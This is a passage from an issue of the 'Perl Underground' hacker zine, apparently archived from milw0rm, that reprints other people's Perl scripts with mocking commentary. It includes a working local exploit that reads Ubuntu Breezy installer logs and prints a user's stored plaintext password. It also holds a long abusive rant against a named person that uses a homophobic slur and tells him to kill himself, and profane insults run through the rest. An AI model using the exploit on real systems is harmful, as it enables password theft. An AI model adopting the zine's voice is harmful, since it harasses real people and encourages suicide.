4903 print "count - $VERSION - The email counter by: MadHat<madhat\@unspecific.com>\n
4904$0 <-e|-d|-s> [-ENLGTlu] [-m#] [-f <from_date> -t <to_date>] <mailbox | http://domain.com/archive/mailbox>\n"
4905 . "\t-h Full Help";
4906 print " (not just this stuff)" if (!$opt_h);
4907 print "\n\t-e email address\n"
4908 . "\t-d count domains\n"
4909 . "\t-s count suffix (.com, .org, etc...)\n"
4910 . "\t-l Add loser rating\n"
4911 . "\t-T Add troll rating\n"
4912 . "\t-u Add list of URLs found in the date range\n"
4913 . "\t-v Verbose output (DEBUG Output)\n"
4914 . "\t-E sort on emails (DEFAULT)\n"
4915 . "\t-L sort on total lines\n"
4916 . "\t-N sort on numer of NEW lines (not part of reply)\n"
4917 . "\t-G sort on Garbage (quoted lines)\n"
4918 . "\t-m# max number of entries to show\n"
4919 . "\t-fmm/dd/yyyy From date. Start checking on this date [01/01/1970]\n"
4920 . "\t-tmm/dd/yyyy To date. Stop checking after this date [today]\n"
4921 . "\t<mailbox> is the mailbox to count in...\n\n";
4922# quote this shit
4923 if ($opt_h) {
4924 print "
4925'count' will open the disgnated mailbox and sort through the emails counting
4926on the specified results.
4927
4928-e, -d or -s are required as well as a mailbox. All other flags are optional.
4929
4930 -e will count on the whole email address
4931 -d will count only on the domain portion of the email (everything after the \@)
4932 -s will count on the suffix (evertthing past the last . - .com, .org...)
4933
4934Present reporting fields include the designated count field (see above),
4935Total EMails Posted, Total Lines Posted, Total New Lines and Sig/Noise Ratio.
4936
4937- Total EMails Pasted is just that, the total number of emails posted by
4938 that counted field.
4939
4940- Total Lines Posted is the total number of messages lines, not including
4941 any header fields, posted by that counted field.
4942
4943- Total New Lines is the total number of lines. not including any header
4944 fields, that are not part of a reply ot forward. The way a line is
4945 determined to be new line, is that it is not started by one of the common
4946 characters for replied lines, > | # : or <TAB>.
4947
4948 WARNING: This is not accurate on some email client (some MS Clients) because
4949 they do not properly attribute lines in replies.
4950
4951- Sig/Noise Ratio is the % of new info as compaired to total lines posted.
4952 This is calculated by taking the total new lines, deviding it by the total
4953 number of lines and multiplying by 100 (for percentage).
4954
4955Other Options:
4956
4957The default sort order is by Total Number of Emails (-E), but you can also
4958sort by other fields:
4959
4960 -L to sort on total number of Lines posted.
4961 -N to sort on total number of New Lines posted.
4962 -G to sort on Garbage. Garbage is the number of non-new lines.
4963
4964By default the maximum number of counted fields shown is 50. This can be
4965changed with the -m flag.
4966
4967By default the date range is from January 1, 1970 through 'today'. You can
4968specify a date range using the -f and -t options
4969
4970 -f From date. Format is somewhat forgiving, but recomended is mm/dd/yyyy
4971 -t To date. This is the date to stop on. Same for format as above.
4972
4973 -u Add list of URLs found in the date range
4974 create a list of URLs found, with Subject of the email listed for each URL
4975
4976 -l Add loser rating. I added this because I use this on mailing lists.
4977 Most mailing lists I am on, consider it bad to post HTML or attachments
4978 to the list, so this counts the number of HTML posting and attachments
4979 (other than things like PGP Sigs) and generates a number from 0 to 100
4980 which is the % of the mails that fall into this catagory.
4981
4982 -T Add Troll rating. I added this because some lists didn't have any
4983 obvious losers ;^) and didn't want to leave those lists out.
4984 This is simply the number of emails referencing a previous email
4985 The information is gathered from the 'In-Reply-To' and
4986 'Reference' headers.
4987
4988";
4989 }
4990 exit;
4991}
4992
4993sub load_formats {
4994 $flt0 = "format STDOUT_TOP =";
4995 $flt2 = " Address EMails Lines New S/N ";
4996 $flt3 = " Posted Posted Lines Ratio";
4997 $flt4 = ".";
4998 $fl0 = "format STDOUT = ";
4999 $fl1 = "@>> @<<<<<<<<<<<<<<<<<<<<<<<<<<< @>>>> @>>>> @>>>>> @## ";
5000 $fl2 = "\$current_number, \$id, \$count{\$id}, \$lines{\$id},\$new_lines{\$id}, \$perc";
5001 $fl3 = ".";
5002# formats, and stored like this too, what a gift of 'who the fuck thinks of this'
5003 if ($opt_l) {
5004 print "Displaying Loser Ratings\n" if ($opt_v);
5005 $flt2 .= " L ";
5006 $fl1 .= " @## ";
5007 $fl2 .= ", \$loser";
5008# Guess what, in Perl we also have arrays. Would you believe it? Use them
5009 }
5010 if ($opt_T) {
5011 print "Displaying Troll Ratings\n" if ($opt_v);
5012 $flt2 .= " T ";
5013 $fl1 .= "@>>>> ";
5014 $fl2 .= ", \$replyto{\$id}";
5015 }
5016 $format = join ("\n", $flt0, $flt1, $flt2, $flt3, $flt4, $fl0, $fl1, $fl2, $fl3);
5017 # arrays would have saved some typing here
5018 eval $format;
5019}
5020# Do you think I'm an asshole? For putting bad++ everywhere, half the time not
5021# even explaining it? Well fuck you! You should be grateful we don't rip apart
5022# every line. Be thankful we didn't do that through this entire script!
5023# You fuckers probably don't realize how much shit I let go.
5024
5025-[0x14] # School You: Grandfather ----------------------------------------
5026
5027use strict;
5028use warnings;
5029use Time::HiRes;
5030use List::Util qw(min max);
5031
5032my $allLCS = 1;
5033my $subStrSize = 8; # Determines minimum match length. Should be a power of 2
5034# and less than half the minimum interesting match length. The larger this value
5035# the faster the search runs.
5036
5037if (@ARGV != 1)
5038 {
5039 print "Finds longest matching substring between any pair of test strings\n";
5040 print "the given file. Pairs of lines are expected with the first of a\n";
5041 print "pair being the string name and the second the test string.";
5042 exit (1);
5043 }
5044
5045# Read in the strings
5046my @strings;
5047while (<>)
5048 {
5049 chomp;
5050 my $strName = $_;
5051 $_ = <>;
5052 chomp;
5053 push @strings, [$strName, $_];
5054 }
5055
5056my $lastStr = @strings - 1;
5057my @bestMatches = [(0, 0, 0, 0, 0)]; # Best match details
5058my $longest = 0; # Best match length so far (unexpanded)
5059
5060my $startTime = [Time::HiRes::gettimeofday ()];
5061
5062# Do the search
5063for (0..$lastStr)
5064 {
5065 my $curStr = $_;
5066 my @subStrs;
5067 my $source = $strings[$curStr][1];
5068 my $sourceName = $strings[$curStr][0];
5069
5070 for (my $i = 0; $i < length $source; $i += $subStrSize)
5071 {
5072 push @subStrs, substr $source, $i, $subStrSize;
5073 }
5074
5075 my $lastSub = @subStrs-1;
5076
5077 for (($curStr+1)..$lastStr)
5078 {
5079 my $targetStr = $_;
5080 my $target = $strings[$_][1];
5081 my $targetLen = length $target;
5082 my $targetName = $strings[$_][0];
5083 my $localLongest = 0;
5084 my @localBests = [(0, 0, 0, 0, 0)];
5085
5086 for my $i (0..$lastSub)
5087 {
5088 my $offset = 0;
5089 while ($offset < $targetLen)
5090 {
5091 $offset = index $target, $subStrs[$i], $offset;
5092 last if $offset < 0;
5093
5094 my $matchStr1 = substr $source, $i * $subStrSize;
5095 my $matchStr2 = substr $target, $offset;
5096
5097 ($matchStr1 ^ $matchStr2) =~ /^\0*/;
5098 my $matchLen = $+[0];
5099
5100 next if $matchLen < $localLongest - $subStrSize + 1;
5101 $localLongest = $matchLen;
5102
5103 my @test = ($curStr, $targetStr, $i * $subStrSize, $offset, $matchLen);
5104 @test = expandMatch (@test);
5105 my $dm = $test[4] - $localBests[-1][4];
5106 @localBests = () if $dm > 0;
5107 push @localBests, [@test] if $dm >= 0;
5108 $offset = $test[3] + $test[4];
5109
5110 next if $test[4] < $longest;
5111 $longest = $test[4];
5112
5113 $dm = $longest - $bestMatches[-1][4];
5114 next if $dm < 0;
5115 @bestMatches = () if $dm > 0;
5116 push @bestMatches, [@test];
5117 }
5118 continue {++$offset;}
5119 }
5120
5121 next if ! $allLCS;
5122
5123 if (! @localBests)
5124 {
5125 print "Didn't find LCS for $sourceName and $targetName\n";
5126 next;
5127 }
5128
5129 for (@localBests)
5130 {
5131 my @curr = @$_;
5132 printf "%03d:%03d L[%4d] (%4d %4d)\n",
5133 $curr[0], $curr[1], $curr[4], $curr[2], $curr[3];
5134 }
5135 }
5136 }
5137
5138print "Completed in " . Time::HiRes::tv_interval ($startTime) . "\n";
5139for (@bestMatches)
5140 {
5141 my @curr = @$_;
5142 printf "Best match: %s - %s. %d characters starting at %d and %d.\n",
5143 $strings[$curr[0]][0], $strings[$curr[1]][0], $curr[4], $curr[2], $curr[3];
5144 }
5145
5146
5147sub expandMatch
5148{
5149my ($index1, $index2, $str1Start, $str2Start, $matchLen) = @_;
5150my $maxMatch = max (0, min ($str1Start, $subStrSize + 10, $str2Start));
5151my $matchStr1 = substr ($strings[$index1][1], $str1Start - $maxMatch, $maxMatch);
5152my $matchStr2 = substr ($strings[$index2][1], $str2Start - $maxMatch, $maxMatch);
5153
5154($matchStr1 ^ $matchStr2) =~ /\0*$/;
5155my $adj = $+[0] - $-[0];
5156$matchLen += $adj;
5157$str1Start -= $adj;
5158$str2Start -= $adj;
5159
5160return ($index1, $index2, $str1Start, $str2Start, $matchLen);
5161}
5162
5163-[0x15] # krissy gonna cry -----------------------------------------------
5164
5165#!/usr/bin/perl -w
5166
5167use warnings;
5168use strict;
5169
5170# You fucking moron. -w and warnings. what do you really think -w means?
5171
5172##############################################################################
5173# Author: Kristian Hermansen
5174# Date: 3/12/2006
5175# Overview: Ubuntu Breezy stores the installation password in plain text
5176# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
5177##############################################################################
5178
5179print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
5180print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
5181print "99% effective, thank your local admin ;-)\n";
5182print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
5183print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
5184
5185# the two vulnerable files
5186my $file1 = "/var/log/installer/cdebconf/questions.dat";
5187my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";
5188
5189print "Checking if an exploitable file exists...";
5190if ( (-e $file1) || (-e $file2) )
5191{
5192 print "Yes\nNow checking if readable...";
5193 if ( -r $file1 )
5194 {
5195 getinfo($file1);
5196 }
5197 else
5198 {
5199 if ( -r $file2 ) {
5200 getinfo($file2);
5201 }
5202 else {
5203 print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
5204 exit(-2);
5205 }
5206 }
5207}
5208else
5209{
5210 print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
5211 exit(-1);
5212}
5213
5214sub getinfo {
5215 my $fn = shift;
5216 print "Yes\nHere come the details...\n\n";
5217 # like Perl doesn't have stuff to do this? Sure does! Whore!
5218 # make it a bash script, no reason not to
5219 my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
5220 my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
5221 my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
5222
5223 # you dipshit. first off all, drop the parens
5224 # secondly, you could chomp above
5225 # thirdly, you're just chomping only to add a \n in your print anyways
5226
5227 chomp($realname);
5228 chomp($user);
5229 chomp($pass);
5230 print "Real Name: $realname\n";
5231 print "Username: $user\n";
5232 print "Password: $pass\n";
5233}
5234
5235# hope you don't mind that I added some POD
5236# thought this could really use some quality documentation
5237
5238=head1 NAME
5239
5240undetermined
5241
5242=head1 DESCRIPTION
5243
5244This script provides easy functionality for an otherwise easy task
5245
5246=head1 EXAMPLE
5247
5248 krissy@fluffy:~/exploits$ perl hermansen.pl
5249 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
5250 Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool
5251 99% effective, thank your local admin ;-)
5252 FOR EDUCATIONAL PURPOSES ONLY!!!
5253 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
5254
5255 Checking if an exploitable file exists...Yes
5256 Now checking if readable...Yes
5257 Here come the details...
5258
5259 Real Name: krissy
5260 Username: krissy
5261 Password: password
5262 krissy@fluffy:~/exploits$
5263
5264=head1 SYNOPSIS
5265
5266Please, some body call the National Security Agency; we have an elite
5267hacker on our hands! My fucking Lord, where do I start? This has got
5268to be one of the worse cases of obsessive compulsive scene-whoreism
5269that I've ever had the unfortunate displeasure of gouging my eyeballs
5270out over. Which backwater, degenerate, sweaty ass crack of a whitehat
5271network did you crawl out of? Are you honestly proud of this amateur
5272pile of shit? How were you able to write this without having a fucking
5273epileptic seizure?
5274
5275You need to keep your bloated ego in check, maggot. Not only do you
5276include your name at the top of this script, but you also assault the
5277user's ocular receptors with it when said script is run. Oh, and not
5278to mention the cute little wink and the "ZOMG FOR EDUCATIONAL PURPOSES
5279ONLY!!!11oneone OMGWTFBBQURMOMLOLLERCOSTER!!!!" tag. What the fuck is
5280this shit? One, you know god damned well that if a person wants to use
5281your "script" for purposes other than those which are educational, they
5282god damned well will! Two, don't act like this is a fucking remotely
5283exploitable hole in the fucking Linux kernel; all it does is read a
5284fucking text file, for Christ's sake! Congratulations, you've coded
5285a text editor! You may just be skilled enough to move on to Windows.
5286
5287What's worse is not the fact that you wrote a mediocre "script" for a
5288hole that my fucking grandmother could exploit in her sleep, but the
5289fact that you didn't even discover it! You read a post on a forum about
5290a couple of files that may contain a plaintext version of a user name
5291and password, and you decided to write a "script" to take advantage of
5292it! How fucking elite! Because we all know how fucking hard it is to
5293us the "cd" and "grep" commands to find our way to that information on
5294our own; we need a godlike, uptight prick such as yourself to guide us.
5295
5296You're not a hacker. You're not a programmer. You're not a Linux guru.
5297What are you, then? You're a scene whore and script kiddy, plain and
5298simple. You have no skill, so you hopelessly jump at every worthless,
5299little opportunity that you are provided with to make it look as though
5300you know what the fuck you're doing. In reality, though, you're just a
5301naive little bitch who couldn't find your way out of a paper bag with
5302a bottle of kerosene and a fucking flamethrower. You lose at life, you
5303incompetent fuckwad. Cut off your tiny, prepubescent balls and turn 'em
5304in; the gene pool doesn't want you. Feel free to kill yourself, faggot.
5305
5306mUrd3r/Su1c1d3 j00 fUck1nG n00b; j00 4r3 n07 n30! 0h n03z!!!oneone!1
5307
5308 +---------------------------------------------------------+
5309 | PERL UNDERGROUND - CHOOSE LIFE, CHOOSE HAX, CHOOSE PERL |
5310 +---------------------------------------------------------+
5311
5312=head1 AUTHOR
5313
5314Kristian Hermansen
5315
5316=cut
5317
5318-[0x16] # We Found nemo --------------------------------------------------
5319
5320#!/usr/bin/perl
5321
5322# <nemo> you're in it?
5323# <nemo> :o
5324# and so are you! welcome to the exclusive club!
5325
5326# thanks for finally getting out of your comfort zone
5327# and giving us this to poke fun at!
5328# nice effort nemo!
5329
5330use strict;
5331# strict? whoa, never thought I'd see that here!
5332
5333my $line = ();
5334my @args = ();
5335my $filename = ();
5336# you realize you don't need to define empty values, right?
5337# and that you could one-line that, right?
5338# then again, you don't need to define these here anyways, right?
5339# so might as well waste more characters, right?
5340
5341@ARGV or die "[-] usage: $0 <filename>\n";
5342
5343my %functions = (
5344# :: fmt name :: fmt # ::
5345 "printf" => 1 ,
5346 "fprintf" => 2 ,
5347 "sprintf" => 2 ,
5348 "snprintf" => 3 ,
5349 "asprintf" => 2 ,
5350 "vprintf" => 2 ,
5351 "vfprintf" => 2 ,
5352 "vsprintf" => 3 ,
5353 "vanprintf" => 2 ,
5354 "warn" => 2 ,
5355 "warnx" => 1 ,
5356 "err" => 2 ,
5357 "errc" => 3 ,
5358 "errx" => 2 ,
5359 "verr" => 2 ,
5360 "verrc" => 3 ,
5361 "verrx" => 2 ,
5362 "vwarn" => 1 ,
5363 "vwarnc" => 2 ,
5364 "vwarnx" => 1 ,
5365 "syslog" => 2 ,
5366 "vsyslog" => 2 ,
5367 "ssl_log" => 3 ,
5368 "dropbear_close" => 1,
5369 "dropbear_exit" => 1,
5370 "dropbear_log" => 2,
5371 "dropbear_trace" => 1,
5372 "LogMsg" => 1,
5373 "ReportStatus" => 2
5374);
5375# :: :: ::
5376
5377print "[ $0 ] - by -( nemo\@felinemenace.org )-\n\n";
5378# The best part of your script
5379# Shows where your priorities are
5380
5381sub find_custom()
5382{
5383 for $filename(@ARGV) {
5384 open(SOURCEFILE,'<',$filename) or die "[-] Error opening $filename.\n";
5385 # Don't you know 'or' is less tightly binding than '||', thus removing the need for those brackets?
5386 for $line(<SOURCEFILE>){
5387 if($line =~ /.+\s(.+?)\(.*?,.+?fmt/) {
5388 # ooh, now that's user friendly
5389 # definitely the best way to solve this problem!
5390 }
5391 }
5392 close(SOURCEFILE);
5393 # you really like your parens!
5394 }
5395}
5396
5397
5398
5399for $filename(@ARGV) {
5400# wouldn't it be neat to define $filename here instead of up there at the top?
5401 open(SOURCEFILE,'<',$filename) or die "[-] Error opening $filename.\n";
5402 my ($s, $count) = ();
5403 # gotta love unnecessary declarations
5404 for $line(<SOURCEFILE>){
5405 $count++;
5406 # we have a builtin variable for that
5407 for(keys(%functions)) {
5408 # mmm parens
5409 if($line =~ /([\s};]$_[\s;}]*?\()/smg) {
5410 # oh yeah, the g modifier is used so timely
5411 # considering you're breaking on newlines, s *and* m might not be what you want ;p
5412 chomp $line;
5413 $s = $1;
5414 # love how you use baby steps
5415 # keepin' it simple, don't want to jump too far into high level coding
5416 # here comes the fun regex!
5417 $s =~ s/([\!-\@\\])/\\$1/;
5418 $line =~ s/$s//;
5419 next if ($line !~ /\)/);
5420 $line =~ s/(.*)\).+?$/$1/;
5421 @args = split(/\s*?,\s*?/,$line);
5422 # Definitely needed @args to have such a broad scope
5423 next if ($args[$functions{$_}-1] =~ /^\s+$/) or
5424 $args[$functions{$_}-1] eq undef;
5425 # couldn't think of a single option way to get that?
5426 next if ($args[$functions{$_}-1] =~ /\"/);
5427 if($args[$functions{$_}-1] !~ /^\s*?\".+?\"\s*?$/sg) {
5428 print "[*] Possible error in [ $filename ] at line: $count\n";
5429 print "[*] Function: $_.\n";
5430 print "[*] Argument ",$functions{$_}," : [ ",$args[$functions{$_}-1]," ]\n";
5431# print "[*] Hex: [ ",unpack("H*",$args[$functions{$_}-1])," ].\n";
5432 # you know how to use unpack? man I'm almost impressed
5433 # oh wait thats commented out...
5434 print "\n";
5435 }
5436 }
5437 }
5438 }
5439 close(SOURCEFILE);
5440}
5441# <PerlUnderground> perlbot be nemo
5442# <perlbot> <nemo> WHY USE PEARL!? C IS FASTAR?!?!?
5443
5444-[0x18] # Manifesto ------------------------------------------------------
5445
5446Let's calm down for a moment and discuss this like adults. Mostly we
5447haven't shown much respect on our side. Like talking to your young
5448children, you tell them how it is, and there is no question of
5449authority. Just now, and only now, we're going to plead with you, man
5450to man, as equals.
5451
5452Do you know many Perl programmers? I don't just mean that in the sense
5453that they know some Perl, like your level of Perl. I mean good Perl
5454programmers. Someone with the honour of being good enough to avoid this
5455zine by merit. Do you know professional Perl programmers? Are you
5456familiar with the Perl community? Have you worked on a development team
5457for a Perl project? If not, let me tell you a bit about it, as a whole.
5458Perl programmers, on average, are old. Older than most people as well
5459versed in computers. They have a depth of experience that just isn't
5460shared with the hacking world. They stay with Perl. They have an
5461appreciation for quality and practicality.
5462
5463I hope I'm getting something of an accurate image out. There is a
5464massive variety of Perl programmers, but like any other group, as a
5465whole they share certain attributes. As a whole more attributes are
5466prevalent enough to be expressed as stereotypes. One of these
5467attributes is that Perl programmers are very whitehat. They like to
5468code quality programs and get paid for their work. They don't like
5469having their programs broken or embarrassed. They don't like the
5470necessary evil of spending time securing their programs. As programmers
5471and not often hackers, due to these aspects they build a dislike for
5472those seeking to break. They are productive and dislike the destructive.
5473Circumstances put them and you in opposite corners. Freenode #perl will
5474not tolerate questions on building exploits with Perl, no matter the
5475reasoning given. They'll assume the worst, that ultimately you will
5476only have destructive uses for your knowledge.
5477
5478My point is this: They have no respect. No matter your standing among
5479others of your sort, no matter what exploits or tools or reputation.
5480They don't care. The Perl community, as a whole, feels fine considering
5481the hacking community a group of script kiddies.
5482
5483And why shouldn't they? Take a step back and look at it as a person who
5484can see both sides. All the Perl code they have seen from you is of
5485very low quality. You look horrible. You embarass me. Your best and
5486brightest are jokes of incompetence and arrogance. If you, the bad puns
5487of the Perl Underground zine are the pride of hacking communities
5488everywhere, wouldn't any decent Perl programmer come to the conclusion
5489that the average hacker is so much more of a moron, barely able to
5490string coherent sentences together, and not worth the time of an
5491experienced Perl coder? Perl programmers give the impression of being
5492serious professionals, you give off the impression of being ignorant
5493teenagers who have neither refined talents nor the patience to write
5494smart code.
5495
5496Do you think that's unfair? Do you think you deserve better? Do you
5497think you're smart, skilled, experienced, and misunderstood? Then show
5498it. Write good Perl code. Examine your coding logic. Get help from real
5499Perl programmers. Only publish your code to an audience when its ready.
5500Make the Perl community question itself. Give them another realistic
5501option. They are logical and fair, but as it is they can only conclude
5502that you're a bunch of script kiddies. Stop fucking around. Grow up.
5503
5504-[0x19] # Shoutz and Outz ------------------------------------------------
5505
5506WE WANT V
5507WE WANT V
5508
5509It has come to our attention that some people have made the mistake of
5510assuming that Perl Underground is affiliated with the .aware network.
5511It appears that the masses had mostly found the text after a copy had
5512been uploaded to the .aware network's anonymous FTP server, leading to
5513this confusion. To clarify, we are not .aware crew and we are not
5514affiliated with .aware. Nobody at .aware can code Perl, but shouts to
5515them anyways. You don't have to code Perl to be cool shit, but it sure
5516helps.
5517
5518Watch out for Perl Underground 3. By the time this gets out publicly we
5519will have more than enough material to get started. We'll be sure to
5520save some space for applicants. Better start bracing yourselves now.
5521This one is going to hurt.
5522
5523Shouts to #perl's everywhere and Perl hackers everywhere.
5524
5525Shouts to kaneda, the one who took it with grace.
5526
5527<kaneda> good read though
5528
5529DAMN RIGHT
5530 ___ _ _ _ _ ___ _
5531| _ | | | | | | | | | | | |
5532| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
5533| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
5534|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
5535
5536Forever Abigail
5537
5538$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
5539"Just another Perl Hacker,"
5540EOF
5541
5542# milw0rm.com [2006-10-02]